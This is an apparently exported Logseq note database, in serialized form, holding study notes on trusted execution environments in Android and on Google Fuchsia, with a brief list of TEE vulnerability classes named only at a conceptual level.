logseq____",logseq____"^17logseq____",3],536878170]],[logseq____"^15logseq____",[966,logseq____"^Jlogseq____",[],536878170]],[logseq____"^15logseq____",[966,logseq____"^;logseq____",logseq____"~u67bd79bc-feeb-4b4b-b829-59eba3191209logseq____",536878170]],[logseq____"^15logseq____",[967,logseq____"^Qlogseq____",logseq____"Key protected in TEElogseq____",536878170]],[logseq____"^15logseq____",[967,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[967,logseq____"^Flogseq____",978,536878170]],[logseq____"^15logseq____",[967,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[967,logseq____"^Vlogseq____",964,536878170]],[logseq____"^15logseq____",[967,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[967,logseq____"^;logseq____",logseq____"~u67bd79bc-c651-4b3a-9993-6db39e6ef819logseq____",536878170]],[logseq____"^15logseq____",[968,logseq____"^Qlogseq____",logseq____"Setup enclaves fo rtrusted execution\\nlogseq.order-list-type:: numberlogseq____",536878225]],[logseq____"^15logseq____",[968,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[968,logseq____"^Flogseq____",981,536878170]],[logseq____"^15logseq____",[968,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[968,logseq____"^Vlogseq____",966,536878170]],[logseq____"^15logseq____",[968,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[968,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^19logseq____",logseq____"numberlogseq____"],536878225]],[logseq____"^15logseq____",[968,logseq____"^Jlogseq____",[logseq____"^14logseq____",[logseq____"^19logseq____"]],536878225]],[logseq____"^15logseq____",[968,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^19logseq____",logseq____"numberlogseq____"],536878225]],[logseq____"^15logseq____",[968,logseq____"^;logseq____",logseq____"~u67bd79bc-87a4-4de3-b709-578522328868logseq____",536878170]],[logseq____"^15logseq____",[969,logseq____"^Qlogseq____",logseq____"Hardware-assisted isolated executionlogseq____",536878170]],[logseq____"^15logseq____",[969,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[969,logseq____"^Flogseq____",979,536878170]],[logseq____"^15logseq____",[969,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[969,logseq____"^Vlogseq____",979,536878170]],[logseq____"^15logseq____",[969,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[969,logseq____"^;logseq____",logseq____"~u67bd79bc-ae4b-4c67-b8af-bce4d820d62dlogseq____",536878170]],[logseq____"^15logseq____",[970,logseq____"^Qlogseq____",logseq____"Baseline for TEEs in uselogseq____",536878170]],[logseq____"^15logseq____",[970,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[970,logseq____"^Flogseq____",951,536878170]],[logseq____"^15logseq____",[970,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[970,logseq____"^Vlogseq____",951,536878170]],[logseq____"^15logseq____",[970,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[970,logseq____"^;logseq____",logseq____"~u67bd79bc-a749-429e-9c2f-10519d9055eflogseq____",536878170]],[logseq____"^15logseq____",[971,logseq____"^Qlogseq____",logseq____"## Android Implementationslogseq____",536878281]],[logseq____"^15logseq____",[971,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[971,logseq____"^Flogseq____",972,536878170]],[logseq____"^15logseq____",[971,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[971,logseq____"^Vlogseq____",854,536878170]],[logseq____"^15logseq____",[971,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[971,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878281]],[logseq____"^15logseq____",[971,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536878281]],[logseq____"^15logseq____",[971,logseq____"^;logseq____",logseq____"~u67bd79bc-14fd-49da-ae82-64bd788c4fb0logseq____",536878170]],[logseq____"^15logseq____",[972,logseq____"^Qlogseq____",logseq____"## Boot Procedurelogseq____",536878170]],[logseq____"^15logseq____",[972,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[972,logseq____"^Flogseq____",951,536878170]],[logseq____"^15logseq____",[972,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[972,logseq____"^Vlogseq____",854,536878170]],[logseq____"^15logseq____",[972,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[972,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878170]],[logseq____"^15logseq____",[972,logseq____"^Jlogseq____",[],536878170]],[logseq____"^15logseq____",[972,logseq____"^;logseq____",logseq____"~u67bd79bc-a4d4-4c1e-a161-43648dc175d9logseq____",536878170]],[logseq____"^15logseq____",[974,logseq____"^Qlogseq____",logseq____"Startup loads code and keys in TEE, configures address controller and starts traditional bootlogseq____",536878170]],[logseq____"^15logseq____",[974,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[974,logseq____"^Flogseq____",956,536878170]],[logseq____"^15logseq____",[974,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[974,logseq____"^Vlogseq____",951,536878170]],[logseq____"^15logseq____",[974,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[974,logseq____"^;logseq____",logseq____"~u67bd79bc-a603-42a9-ab08-90ee0f940647logseq____",536878170]],[logseq____"^15logseq____",[975,logseq____"^Qlogseq____",logseq____"## Android Virtualization Frameworklogseq____",536878170]],[logseq____"^15logseq____",[975,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[975,logseq____"^Flogseq____",964,536878170]],[logseq____"^15logseq____",[975,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[975,logseq____"^Vlogseq____",854,536878170]],[logseq____"^15logseq____",[975,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[975,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878170]],[logseq____"^15logseq____",[975,logseq____"^Jlogseq____",[],536878170]],[logseq____"^15logseq____",[975,logseq____"^;logseq____",logseq____"~u67bd79bc-614c-4826-9abd-7b4078d7989elogseq____",536878170]],[logseq____"^15logseq____",[976,logseq____"^Qlogseq____",logseq____"Microdroid: mini Android running in pKVM (protected kernel-based virtual machine)logseq____",536878170]],[logseq____"^15logseq____",[976,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[976,logseq____"^Flogseq____",975,536878170]],[logseq____"^15logseq____",[976,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[976,logseq____"^Vlogseq____",975,536878170]],[logseq____"^15logseq____",[976,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[976,logseq____"^;logseq____",logseq____"~u67bd79bc-2610-4277-99d4-64bdafccebf3logseq____",536878170]],[logseq____"^15logseq____",[977,logseq____"^Qlogseq____",logseq____"Only architecture with 3-rd party developer eco systemlogseq____",536878170]],[logseq____"^15logseq____",[977,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[977,logseq____"^Flogseq____",958,536878170]],[logseq____"^15logseq____",[977,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[977,logseq____"^Vlogseq____",951,536878170]],[logseq____"^15logseq____",[977,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[977,logseq____"^;logseq____",logseq____"~u67bd79bc-ced2-44d9-8462-89f64897effelogseq____",536878170]],[logseq____"^15logseq____",[978,logseq____"^Qlogseq____",logseq____"CMAC (Cipher-mode Message Authentication Code) on Passwordslogseq____",536878170]],[logseq____"^15logseq____",[978,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[978,logseq____"^Flogseq____",964,536878170]],[logseq____"^15logseq____",[978,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[978,logseq____"^Vlogseq____",964,536878170]],[logseq____"^15logseq____",[978,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[978,logseq____"^;logseq____",logseq____"~u67bd79bc-f096-42f6-8960-ad3d69b2b7cclogseq____",536878170]],[logseq____"^15logseq____",[979,logseq____"^Qlogseq____",logseq____"## General Informationlogseq____",536878170]],[logseq____"^15logseq____",[979,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[979,logseq____"^Flogseq____",854,536878170]],[logseq____"^15logseq____",[979,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[979,logseq____"^Vlogseq____",854,536878170]],[logseq____"^15logseq____",[979,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[979,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878170]],[logseq____"^15logseq____",[979,logseq____"^Jlogseq____",[],536878170]],[logseq____"^15logseq____",[979,logseq____"^;logseq____",logseq____"~u67bd79bc-c1e8-4750-9245-994e34adae46logseq____",536878170]],[logseq____"^15logseq____",[980,logseq____"^Qlogseq____",logseq____"### Android Verified Boot 2.0logseq____",536878170]],[logseq____"^15logseq____",[980,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[980,logseq____"^Flogseq____",966,536878170]],[logseq____"^15logseq____",[980,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[980,logseq____"^Vlogseq____",951,536878170]],[logseq____"^15logseq____",[980,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[980,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536878170]],[logseq____"^15logseq____",[980,logseq____"^Jlogseq____",[],536878170]],[logseq____"^15logseq____",[980,logseq____"^;logseq____",logseq____"~u67bd79bc-13d9-40c5-9f54-885d1807462flogseq____",536878170]],[logseq____"^15logseq____",[981,logseq____"^Qlogseq____",logseq____"Exit enclave to start normal boot\\nlogseq.order-list-type:: numberlogseq____",536878219]],[logseq____"^15logseq____",[981,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[981,logseq____"^Flogseq____",963,536878170]],[logseq____"^15logseq____",[981,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[981,logseq____"^Vlogseq____",966,536878170]],[logseq____"^15logseq____",[981,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[981,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^19logseq____",logseq____"numberlogseq____"],536878219]],[logseq____"^15logseq____",[981,logseq____"^Jlogseq____",[logseq____"^14logseq____",[logseq____"^19logseq____"]],536878219]],[logseq____"^15logseq____",[981,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^19logseq____",logseq____"numberlogseq____"],536878219]],[logseq____"^15logseq____",[981,logseq____"^;logseq____",logseq____"~u67bd79bc-c051-4a61-98c3-ae9591736595logseq____",536878170]],[logseq____"^15logseq____",[982,logseq____"^Qlogseq____",logseq____"Start in \\logseq____"Secure World\\logseq____" (trusted enclave)\\nlogseq.order-list-type:: numberlogseq____",536878210]],[logseq____"^15logseq____",[982,logseq____"^Ologseq____",logseq____"^16logseq____",536878200]],[logseq____"^15logseq____",[982,logseq____"^Flogseq____",966,536878200]],[logseq____"^15logseq____",[982,logseq____"^Xlogseq____",854,536878200]],[logseq____"^15logseq____",[982,logseq____"^Vlogseq____",966,536878200]],[logseq____"^15logseq____",[982,logseq____"^Ulogseq____",854,536878201]],[logseq____"^15logseq____",[982,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^19logseq____",logseq____"numberlogseq____"],536878210]],[logseq____"^15logseq____",[982,logseq____"^Jlogseq____",[logseq____"^14logseq____",[logseq____"^19logseq____"]],536878210]],[logseq____"^15logseq____",[982,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^19logseq____",logseq____"numberlogseq____"],536878210]],[logseq____"^15logseq____",[982,logseq____"^;logseq____",logseq____"~u67bd80bc-3451-4372-8f2f-028724b7eeb5logseq____",536878200]],[logseq____"^15logseq____",[983,logseq____"^Qlogseq____",logseq____"Ensures chain of trust by signed hash metadata in TEElogseq____",536878250]],[logseq____"^15logseq____",[983,logseq____"^Ologseq____",logseq____"^16logseq____",536878237]],[logseq____"^15logseq____",[983,logseq____"^Flogseq____",959,536878237]],[logseq____"^15logseq____",[983,logseq____"^Xlogseq____",854,536878237]],[logseq____"^15logseq____",[983,logseq____"^Vlogseq____",980,536878237]],[logseq____"^15logseq____",[983,logseq____"^Ulogseq____",854,536878238]],[logseq____"^15logseq____",[983,logseq____"^?logseq____",[logseq____"^ logseq____"],536878250]],[logseq____"^15logseq____",[983,logseq____"^;logseq____",logseq____"~u67bd818f-6dc4-49a8-b652-cdb4516c51f9logseq____",536878237]],[logseq____"^15logseq____",[984,logseq____"^Qlogseq____",logseq____"Keystore (HAL): Dynamically loadable library used by keystore service providing hardware-backed cryptographic serviceslogseq____",536878373]],[logseq____"^15logseq____",[984,logseq____"^Ologseq____",logseq____"^16logseq____",536878274]],[logseq____"^15logseq____",[984,logseq____"^Flogseq____",985,536878281]],[logseq____"^15logseq____",[984,logseq____"^Xlogseq____",854,536878274]],[logseq____"^15logseq____",[984,logseq____"^Vlogseq____",971,536878276]],[logseq____"^15logseq____",[984,logseq____"^Ulogseq____",854,536878282]],[logseq____"^15logseq____",[984,logseq____"^?logseq____",[logseq____"^ logseq____"],536878373]],[logseq____"^15logseq____",[984,logseq____"^;logseq____",logseq____"~u67bd821a-4ad0-4899-a1a5-745629e79bfclogseq____",536878274]],[logseq____"^15logseq____",[985,logseq____"^Qlogseq____",logseq____"Gatekeeper and Fingerprint use user-space demons to call their respective TEE process to obtain an auth-token, handed to keystore (which inturn verifies using its TEE process)logseq____",536878346]],[logseq____"^15logseq____",[985,logseq____"^Ologseq____",logseq____"^16logseq____",536878281]],[logseq____"^15logseq____",[985,logseq____"^Flogseq____",971,536878281]],[logseq____"^15logseq____",[985,logseq____"^Xlogseq____",854,536878281]],[logseq____"^15logseq____",[985,logseq____"^Vlogseq____",971,536878281]],[logseq____"^15logseq____",[985,logseq____"^Ulogseq____",854,536878282]],[logseq____"^15logseq____",[985,logseq____"^?logseq____",[logseq____"^ logseq____"],536878346]],[logseq____"^15logseq____",[985,logseq____"^;logseq____",logseq____"~u67bd823e-ba92-41b3-b38b-9f2c42122095logseq____",536878281]],[logseq____"^15logseq____",[986,logseq____"^Qlogseq____",logseq____"Allows for attestion (provable that key was generated and stored in TEE)logseq____",536878402]],[logseq____"^15logseq____",[986,logseq____"^Ologseq____",logseq____"^16logseq____",536878376]],[logseq____"^15logseq____",[986,logseq____"^Flogseq____",984,536878376]],[logseq____"^15logseq____",[986,logseq____"^Xlogseq____",854,536878376]],[logseq____"^15logseq____",[986,logseq____"^Vlogseq____",984,536878380]],[logseq____"^15logseq____",[986,logseq____"^Ulogseq____",854,536878377]],[logseq____"^15logseq____",[986,logseq____"^?logseq____",[logseq____"^ logseq____"],536878402]],[logseq____"^15logseq____",[986,logseq____"^;logseq____",logseq____"~u67bd8350-debe-43c2-bdeb-2e8d822b3ec4logseq____",536878376]],[logseq____"^15logseq____",[987,logseq____"^Qlogseq____",logseq____"Wrap shared keys in another encryption layer shared with TEElogseq____",536878418]],[logseq____"^15logseq____",[987,logseq____"^Ologseq____",logseq____"^16logseq____",536878405]],[logseq____"^15logseq____",[987,logseq____"^Flogseq____",986,536878405]],[logseq____"^15logseq____",[987,logseq____"^Xlogseq____",854,536878405]],[logseq____"^15logseq____",[987,logseq____"^Vlogseq____",984,536878405]],[logseq____"^15logseq____",[987,logseq____"^Ulogseq____",854,536878406]],[logseq____"^15logseq____",[987,logseq____"^?logseq____",[logseq____"^ logseq____"],536878418]],[logseq____"^15logseq____",[987,logseq____"^;logseq____",logseq____"~u67bd8377-1095-4aea-8048-bb076233528blogseq____",536878405]],[logseq____"^15logseq____",[988,logseq____"^Qlogseq____",logseq____"Gatekeeper: Used for TEE-backed authentication (pattern/password), signs authentication attestationlogseq____",536878465]],[logseq____"^15logseq____",[988,logseq____"^Ologseq____",logseq____"^16logseq____",536878421]],[logseq____"^15logseq____",[988,logseq____"^Flogseq____",984,536878425]],[logseq____"^15logseq____",[988,logseq____"^Xlogseq____",854,536878421]],[logseq____"^15logseq____",[988,logseq____"^Vlogseq____",971,536878425]],[logseq____"^15logseq____",[988,logseq____"^Ulogseq____",854,536878422]],[logseq____"^15logseq____",[988,logseq____"^?logseq____",[logseq____"^ logseq____"],536878465]],[logseq____"^15logseq____",[988,logseq____"^;logseq____",logseq____"~u67bd838f-ff3a-493c-97eb-2020d5928493logseq____",536878421]],[logseq____"^15logseq____",[989,logseq____"^Qlogseq____",logseq____"Real-Time Kernel Protection: Move certain functionality into enclaves to mitigate kernel injection or memory attackslogseq____",536878503]],[logseq____"^15logseq____",[989,logseq____"^Ologseq____",logseq____"^16logseq____",536878466]],[logseq____"^15logseq____",[989,logseq____"^Flogseq____",988,536878466]],[logseq____"^15logseq____",[989,logseq____"^Xlogseq____",854,536878466]],[logseq____"^15logseq____",[989,logseq____"^Vlogseq____",971,536878466]],[logseq____"^15logseq____",[989,logseq____"^Ulogseq____",854,536878467]],[logseq____"^15logseq____",[989,logseq____"^?logseq____",[logseq____"^ logseq____"],536878503]],[logseq____"^15logseq____",[989,logseq____"^;logseq____",logseq____"~u67bd83cc-7ad8-41ab-a252-73b35f98c09flogseq____",536878466]],[logseq____"^15logseq____",[990,logseq____"^Qlogseq____",logseq____"## REE as Interaction with TEEslogseq____",536878519]],[logseq____"^15logseq____",[990,logseq____"^Ologseq____",logseq____"^16logseq____",536878506]],[logseq____"^15logseq____",[990,logseq____"^Flogseq____",971,536878508]],[logseq____"^15logseq____",[990,logseq____"^Xlogseq____",854,536878506]],[logseq____"^15logseq____",[990,logseq____"^Vlogseq____",854,536878508]],[logseq____"^15logseq____",[990,logseq____"^Ulogseq____",854,536878507]],[logseq____"^15logseq____",[990,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878519]],[logseq____"^15logseq____",[990,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536878519]],[logseq____"^15logseq____",[990,logseq____"^;logseq____",logseq____"~u67bd84a9-a410-479b-a4f1-9e15bd674cd6logseq____",536878506]],[logseq____"^15logseq____",[991,logseq____"^Qlogseq____",logseq____"Provide API for interaction between REE and TEElogseq____",536878535]],[logseq____"^15logseq____",[991,logseq____"^Ologseq____",logseq____"^16logseq____",536878519]],[logseq____"^15logseq____",[991,logseq____"^Flogseq____",990,536878519]],[logseq____"^15logseq____",[991,logseq____"^Xlogseq____",854,536878519]],[logseq____"^15logseq____",[991,logseq____"^Vlogseq____",990,536878521]],[logseq____"^15logseq____",[991,logseq____"^Ulogseq____",854,536878520]],[logseq____"^15logseq____",[991,logseq____"^?logseq____",[logseq____"^ logseq____"],536878535]],[logseq____"^15logseq____",[991,logseq____"^;logseq____",logseq____"~u67bd84b4-f9cb-4b02-91ff-b73c34f21098logseq____",536878519]],[logseq____"^15logseq____",[992,logseq____"^Qlogseq____",logseq____"Provide pointers to memorylogseq____",536878548]],[logseq____"^15logseq____",[992,logseq____"^Ologseq____",logseq____"^16logseq____",536878535]],[logseq____"^15logseq____",[992,logseq____"^Flogseq____",991,536878535]],[logseq____"^15logseq____",[992,logseq____"^Xlogseq____",854,536878535]],[logseq____"^15logseq____",[992,logseq____"^Vlogseq____",990,536878535]],[logseq____"^15logseq____",[992,logseq____"^Ulogseq____",854,536878536]],[logseq____"^15logseq____",[992,logseq____"^?logseq____",[logseq____"^ logseq____"],536878548]],[logseq____"^15logseq____",[992,logseq____"^;logseq____",logseq____"~u67bd84c8-8df1-4c64-9f1d-3324d13190d1logseq____",536878535]],[logseq____"^15logseq____",[993,logseq____"^Qlogseq____",logseq____"Requires Trusted UIlogseq____",536878558]],[logseq____"^15logseq____",[993,logseq____"^Ologseq____",logseq____"^16logseq____",536878551]],[logseq____"^15logseq____",[993,logseq____"^Flogseq____",992,536878551]],[logseq____"^15logseq____",[993,logseq____"^Xlogseq____",854,536878551]],[logseq____"^15logseq____",[993,logseq____"^Vlogseq____",990,536878551]],[logseq____"^15logseq____",[993,logseq____"^Ulogseq____",854,536878552]],[logseq____"^15logseq____",[993,logseq____"^?logseq____",[logseq____"^ logseq____"],536878558]],[logseq____"^15logseq____",[993,logseq____"^;logseq____",logseq____"~u67bd84dc-a4b9-4d31-90f5-0dde3d7528b4logseq____",536878551]],[logseq____"^15logseq____",[994,logseq____"^Qlogseq____",logseq____"### Android Protection Confirmationlogseq____",536878568]],[logseq____"^15logseq____",[994,logseq____"^Ologseq____",logseq____"^16logseq____",536878561]],[logseq____"^15logseq____",[994,logseq____"^Flogseq____",993,536878561]],[logseq____"^15logseq____",[994,logseq____"^Xlogseq____",854,536878561]],[logseq____"^15logseq____",[994,logseq____"^Vlogseq____",990,536878561]],[logseq____"^15logseq____",[994,logseq____"^Ulogseq____",854,536878562]],[logseq____"^15logseq____",[994,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536878568]],[logseq____"^15logseq____",[994,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536878568]],[logseq____"^15logseq____",[994,logseq____"^;logseq____",logseq____"~u67bd84e7-475f-4853-8448-4d4de5ce38b9logseq____",536878561]],[logseq____"^15logseq____",[995,logseq____"^Qlogseq____",logseq____"Let user approve of action (confirmation signed with attestation)logseq____",536878587]],[logseq____"^15logseq____",[995,logseq____"^Ologseq____",logseq____"^16logseq____",536878568]],[logseq____"^15logseq____",[995,logseq____"^Flogseq____",994,536878568]],[logseq____"^15logseq____",[995,logseq____"^Xlogseq____",854,536878568]],[logseq____"^15logseq____",[995,logseq____"^Vlogseq____",994,536878570]],[logseq____"^15logseq____",[995,logseq____"^Ulogseq____",854,536878569]],[logseq____"^15logseq____",[995,logseq____"^?logseq____",[logseq____"^ logseq____"],536878587]],[logseq____"^15logseq____",[995,logseq____"^;logseq____",logseq____"~u67bd84ed-b38b-4ee0-8851-0802b4c170dflogseq____",536878568]],[logseq____"^15logseq____",[996,logseq____"^Qlogseq____",logseq____"Verifier can check for validitylogseq____",536878600]],[logseq____"^15logseq____",[996,logseq____"^Ologseq____",logseq____"^16logseq____",536878590]],[logseq____"^15logseq____",[996,logseq____"^Flogseq____",995,536878590]],[logseq____"^15logseq____",[996,logseq____"^Xlogseq____",854,536878590]],[logseq____"^15logseq____",[996,logseq____"^Vlogseq____",994,536878590]],[logseq____"^15logseq____",[996,logseq____"^Ulogseq____",854,536878591]],[logseq____"^15logseq____",[996,logseq____"^?logseq____",[logseq____"^ logseq____"],536878600]],[logseq____"^15logseq____",[996,logseq____"^;logseq____",logseq____"~u67bd853a-57f9-4135-8f3a-d422562643fclogseq____",536878590]],[logseq____"^15logseq____",[997,logseq____"^Qlogseq____",logseq____"# Topic 8 - Google Fuchsialogseq____",536878858]],[logseq____"^15logseq____",[997,logseq____"^Ologseq____",logseq____"^16logseq____",536878603]],[logseq____"^15logseq____",[997,logseq____"^@logseq____",false,536878603]],[logseq____"^15logseq____",[997,logseq____"^Flogseq____",864,536878603]],[logseq____"^15logseq____",[997,logseq____"^Xlogseq____",296,536878603]],[logseq____"^15logseq____",[997,logseq____"^Vlogseq____",296,536878603]],[logseq____"^15logseq____",[997,logseq____"^Ulogseq____",296,536878604]],[logseq____"^15logseq____",[997,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",1],536878858]],[logseq____"^15logseq____",[997,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536878858]],[logseq____"^15logseq____",[997,logseq____"^;logseq____",logseq____"~u67bd857d-6058-45fa-92b9-ed1d9c7c614flogseq____",536878603]],[logseq____"^15logseq____",[998,logseq____"^Klogseq____",1740473735837,536878607]],[logseq____"^15logseq____",[998,logseq____"^Ologseq____",logseq____"^16logseq____",536878611]],[logseq____"^15logseq____",[998,logseq____"^@logseq____",false,536878607]],[logseq____"^15logseq____",[998,logseq____"^Ylogseq____",logseq____"vulnerabilities logseq____& attackslogseq____",536878607]],[logseq____"^15logseq____",[998,logseq____"^11logseq____",logseq____"Vulnerabilities logseq____& Attackslogseq____",536878607]],[logseq____"^15logseq____",[998,logseq____"^Blogseq____",1740475031362,536878852]],[logseq____"^15logseq____",[998,logseq____"^;logseq____",logseq____"~u67bd8587-c196-4346-a003-7be10b33ad1dlogseq____",536878607]],[logseq____"^15logseq____",[999,logseq____"^Qlogseq____",logseq____"Misuse of FingerprintAPI: Fingerprint not bound to crypto operations, e.g, retrieved key can be used without further authorizationlogseq____",536878655]],[logseq____"^15logseq____",[999,logseq____"^Ologseq____",logseq____"^16logseq____",536878612]],[logseq____"^15logseq____",[999,logseq____"^@logseq____",false,536878612]],[logseq____"^15logseq____",[999,logseq____"^Flogseq____",998,536878612]],[logseq____"^15logseq____",[999,logseq____"^Xlogseq____",998,536878612]],[logseq____"^15logseq____",[999,logseq____"^Vlogseq____",998,536878612]],[logseq____"^15logseq____",[999,logseq____"^Ulogseq____",998,536878613]],[logseq____"^15logseq____",[999,logseq____"^?logseq____",[logseq____"^ logseq____"],536878655]],[logseq____"^15logseq____",[999,logseq____"^;logseq____",logseq____"~u67bd8589-df8c-4cf1-ac44-69db2543e0c4logseq____",536878612]],[logseq____"^15logseq____",[1001,logseq____"^Qlogseq____",logseq____"RCE in TrustZonelogseq____'s kernellogseq____",536878671]],[logseq____"^15logseq____",[1001,logseq____"^Ologseq____",logseq____"^16logseq____",536878658]],[logseq____"^15logseq____",[1001,logseq____"^@logseq____",false,536878658]],[logseq____"^15logseq____",[1001,logseq____"^Flogseq____",999,536878658]],[logseq____"^15logseq____",[1001,logseq____"^Xlogseq____",998,536878658]],[logseq____"^15logseq____",[1001,logseq____"^Vlogseq____",998,536878658]],[logseq____"^15logseq____",[1001,logseq____"^Ulogseq____",998,536878659]],[logseq____"^15logseq____",[1001,logseq____"^?logseq____",[logseq____"^ logseq____"],536878671]],[logseq____"^15logseq____",[1001,logseq____"^;logseq____",logseq____"~u67bd888a-85d7-4777-91a2-de515596b4edlogseq____",536878658]],[logseq____"^15logseq____",[1002,logseq____"^Qlogseq____",logseq____"Privilege Escalation from zero to RCElogseq____",536878690]],[logseq____"^15logseq____",[1002,logseq____"^Ologseq____",logseq____"^16logseq____",536878674]],[logseq____"^15logseq____",[1002,logseq____"^@logseq____",false,536878674]],[logseq____"^15logseq____",[1002,logseq____"^Flogseq____",1001,536878674]],[logseq____"^15logseq____",[1002,logseq____"^Xlogseq____",998,536878674]],[logseq____"^15logseq____",[1002,logseq____"^Vlogseq____",998,536878674]],[logseq____"^15logseq____",[1002,logseq____"^Ulogseq____",998,536878675]],[logseq____"^15logseq____",[1002,logseq____"^?logseq____",[logseq____"^ logseq____"],536878690]],[logseq____"^15logseq____",[1002,logseq____"^;logseq____",logseq____"~u67bd8898-7910-4572-96cd-b0dbfda4ee1clogseq____",536878674]],[logseq____"^15logseq____",[1003,logseq____"^Qlogseq____",logseq____"Side-Channel or microarchitectural attackslogseq____",536878718]],[logseq____"^15logseq____",[1003,logseq____"^Ologseq____",logseq____"^16logseq____",536878693]],[logseq____"^15logseq____",[1003,logseq____"^@logseq____",false,536878693]],[logseq____"^15logseq____",[1003,logseq____"^Flogseq____",1002,536878693]],[logseq____"^15logseq____",[1003,logseq____"^Xlogseq____",998,536878693]],[logseq____"^15logseq____",[1003,logseq____"^Vlogseq____",998,536878693]],[logseq____"^15logseq____",[1003,logseq____"^Ulogseq____",998,536878694]],[logseq____"^15logseq____",[1003,logseq____"^?logseq____",[logseq____"^ logseq____"],536878718]],[logseq____"^15logseq____",[1003,logseq____"^;logseq____",logseq____"~u67bd88b2-2607-4397-b211-b4b90e2e06a4logseq____",536878693]],[logseq____"^15logseq____",[1004,logseq____"^Qlogseq____",logseq____"((67b9916a-6bf3-484b-8789-97ba34ac6c7c)) due to missing authenticity of calls to enclavelogseq____",536878745]],[logseq____"^15logseq____",[1004,logseq____"^Ologseq____",logseq____"^16logseq____",536878721]],[logseq____"^15logseq____",[1004,logseq____"^@logseq____",false,536878721]],[logseq____"^15logseq____",[1004,logseq____"^Flogseq____",1003,536878721]],[logseq____"^15logseq____",[1004,logseq____"^Xlogseq____",998,536878721]],[logseq____"^15logseq____",[1004,logseq____"^Vlogseq____",998,536878721]],[logseq____"^15logseq____",[1004,logseq____"^Ulogseq____",528,536878728]],[logseq____"^15logseq____",[1004,logseq____"^Ulogseq____",998,536878728]],[logseq____"^15logseq____",[1004,logseq____"^?logseq____",[logseq____"^ logseq____"],536878745]],[logseq____"^15logseq____",[1004,logseq____"^Hlogseq____",528,536878745]],[logseq____"^15logseq____",[1004,logseq____"^;logseq____",logseq____"~u67bd88f4-96d3-4b53-8778-ffbcfc6589c7logseq____",536878721]],[logseq____"^15logseq____",[1005,logseq____"^Qlogseq____",logseq____"Abusing debugging features as vendors did not secure them (exfiltrate data from 